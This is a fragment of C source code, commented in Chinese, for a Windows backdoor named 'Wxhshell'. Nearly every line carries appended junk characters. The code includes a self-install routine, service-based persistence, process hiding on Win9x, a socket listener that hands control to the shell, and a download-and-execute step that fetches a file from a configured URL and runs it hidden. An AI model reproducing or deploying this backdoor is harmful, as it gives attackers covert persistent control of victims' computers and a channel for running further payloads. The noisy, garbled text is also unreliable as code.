PROCNTQSIP NtQueryInformationProcess; *(5;5r
@!oN]0`F;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \(
V1-,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I,#E`)
i[9gcL"
HANDLE hProcess; @,1_CqV
PROCESS_BASIC_INFORMATION pbi; %T>@Ldt
`lE&:)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I~F&@
if(NULL == hInst ) return 0; ,nL~?h-Zh
j[i*;0) |
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p5E
okh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >;Oa|G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C)FO:lLr\
@C@9Tw2Y
if (!NtQueryInformationProcess) return 0; QyL]-zNg
oy
jkk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vkJyD/;=
if(!hProcess) return 0; `:7r5}(^
W=A0+t%XC
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tv7W)?3h
K_Y{50#
CloseHandle(hProcess); BMO,eQcB
jt}oq%Bf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @1'OuX^
if(hProcess==NULL) return 0; Z?xaXFm_
_+P*XY5
HMODULE hMod; pD[&,gV$
char procName[255]; ~SBW`=aP}
unsigned long cbNeeded; 9;XbyA]
MVzj7~+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p_BG#dRM
XGR63hXND
CloseHandle(hProcess); KB~1]cYMp
,d/$!Yf
if(strstr(procName,"services")) return 1; // 以服务启动 16eP7s
[dLc+h1{B
return 0; // 注册表启动 6!0NFP~b
} _YR#J%xa
eD7\ ,}O
// 主模块 KL?<lp"
int StartWxhshell(LPSTR lpCmdLine) YIW9z{rrs
{ X sJ`x
SOCKET wsl; d(t)8k$
BOOL val=TRUE; Y_faqmZ9]
int port=0; pW8?EGO@
struct sockaddr_in door; -SD:G]un
jA?[*HB
if(wscfg.ws_autoins) Install(); }Y.@:v
j
QE"$Lc)
port=atoi(lpCmdLine); :|k!hG
hoBFC1
if(port<=0) port=wscfg.ws_port; l+6@,TY1U
4J,6cOuW4
WSADATA data; Mfz(%F|<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mQ}\ptdfV
Eyf17
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b?0WA.[{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J6EzD\.Y)
door.sin_family = AF_INET; XdIno}pN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); \I i#R
door.sin_port = htons(port); m8L %!6o
\4$Nx/@Q}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?~.9:93
closesocket(wsl); E l.eK9L
return 1; oIOeX1$V
} B> i^ w1
N%:uOX8{
if(listen(wsl,2) == INVALID_SOCKET) { Hh](n<Bs
closesocket(wsl); kKbbsB
return 1; H4v%$R;K
} `4@`G:6BL
Wxhshell(wsl); *tZ3?X[b
WSACleanup(); |U1u:=[
BSy4
d>
return 0; 4V@0L
:.H@tBi*E
} YVRE9
_`QME r?
// 以NT服务方式启动 w0js_P-uv
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sdXchVC
{ .w\4Th#
DWORD status = 0; HWoMzp5="3
DWORD specificError = 0xfffffff; &flcJ`
~O./A-l
serviceStatus.dwServiceType = SERVICE_WIN32; PTpCiiA@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $aXYtHI
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .ZQXY%g
serviceStatus.dwWin32ExitCode = 0; FhH*lO&
serviceStatus.dwServiceSpecificExitCode = 0; cQh{z8Bf?<
serviceStatus.dwCheckPoint = 0; (ce)A,;
serviceStatus.dwWaitHint = 0; jj `0w@
T2W^4)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -=rGN"(M
_
if (hServiceStatusHandle==0) return; /s)It
)`5-rm~*
status = GetLastError(); D//58z&
if (status!=NO_ERROR) O{]}{Ss
{ {XhpxJ__
serviceStatus.dwCurrentState = SERVICE_STOPPED; )}w-;HX
serviceStatus.dwCheckPoint = 0; 2s 9U&
serviceStatus.dwWaitHint = 0; +f]I7e:qp
serviceStatus.dwWin32ExitCode = status; ?\Y7]_]/
serviceStatus.dwServiceSpecificExitCode = specificError; 0x'Fi2=`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $3#oA.~R/
return; R'K /\
} ~c1~)QzZ
u_WW
uo
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;XYfw)
serviceStatus.dwCheckPoint = 0; 3kJSz-_M
serviceStatus.dwWaitHint = 0; T^xp2cZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H'EBe;ccM
} #2.C$
5hCfi
// 处理NT服务事件,比如:启动、停止 mn<ea&
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0Z%<H\Z
{ S!}pL8OE
switch(fdwControl) T?__
{ . 55aY~We
case SERVICE_CONTROL_STOP: Yic'p0<
?V
serviceStatus.dwWin32ExitCode = 0; -IV-"-6(
serviceStatus.dwCurrentState = SERVICE_STOPPED; AQ.q?'vE)
serviceStatus.dwCheckPoint = 0; p-g@cwOu
serviceStatus.dwWaitHint = 0; S;vZXgyN?
{ Xw^:<Nx:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7c m?+
} Z[j-.,Qu
return; )>=|oY3
case SERVICE_CONTROL_PAUSE: d<;XQ.Wo7
serviceStatus.dwCurrentState = SERVICE_PAUSED; iN`L* h
break; ER$~kFE2yP
case SERVICE_CONTROL_CONTINUE: kS7T'[d
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y50$2%kM
break; ?~Vev D
case SERVICE_CONTROL_INTERROGATE: Ug O \+cI
break; >yqL
}; }% |GV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R?%|RCht1
} inGH'nl_
P#Ikj&l
// 标准应用程序主函数 s3T 6"%S`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \@n/L{}(@
{ e''Wm.>g(+
' :]w
// 获取操作系统版本 w@f_TG"Vt
OsIsNt=GetOsVer(); q%^gG03.
GetModuleFileName(NULL,ExeFile,MAX_PATH); }W%}_UT
U(qM( E
// 从命令行安装 ==j39
if(strpbrk(lpCmdLine,"iI")) Install();
UuA=qWC
Y.Ew;\6U
// 下载执行文件 8%U)EU
if(wscfg.ws_downexe) { t,P+~ A
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WqU$cQD"
WinExec(wscfg.ws_filenam,SW_HIDE); #$fFp
} *m]%eU(
Z=sAR(n}~
if(!OsIsNt) { {k~$\J?.
// 如果时win9x,隐藏进程并且设置为注册表启动 17qrBG-/MD
HideProc(); ]R]X#jm
StartWxhshell(lpCmdLine); ')FNudsC
} PwNLJj+%
else .g&BA15<F6
if(StartFromService()) E3KPJ`=!*"
// 以服务方式启动 r*3XM{bZ/@
StartServiceCtrlDispatcher(DispatchTable); ?,),%JQ
else ]g+(#x_.?
// 普通方式启动 D{z=)'/F
StartWxhshell(lpCmdLine); aA
yFu_
&k{@:z
return 0; ;[zx'e?!
} h/w- &7t
42Ffx?Qmv
hQ8{
A7
>\p}UPx
=========================================== ,!py
n<_
=O_[9kuJ
da^9Fb
ta4<d)nB
Vis?cuU/
E0h!%/+-L
" @+!d@`w:z2
9_/1TjrDN
#include <stdio.h> U&a]gkr
#include <string.h> |)_<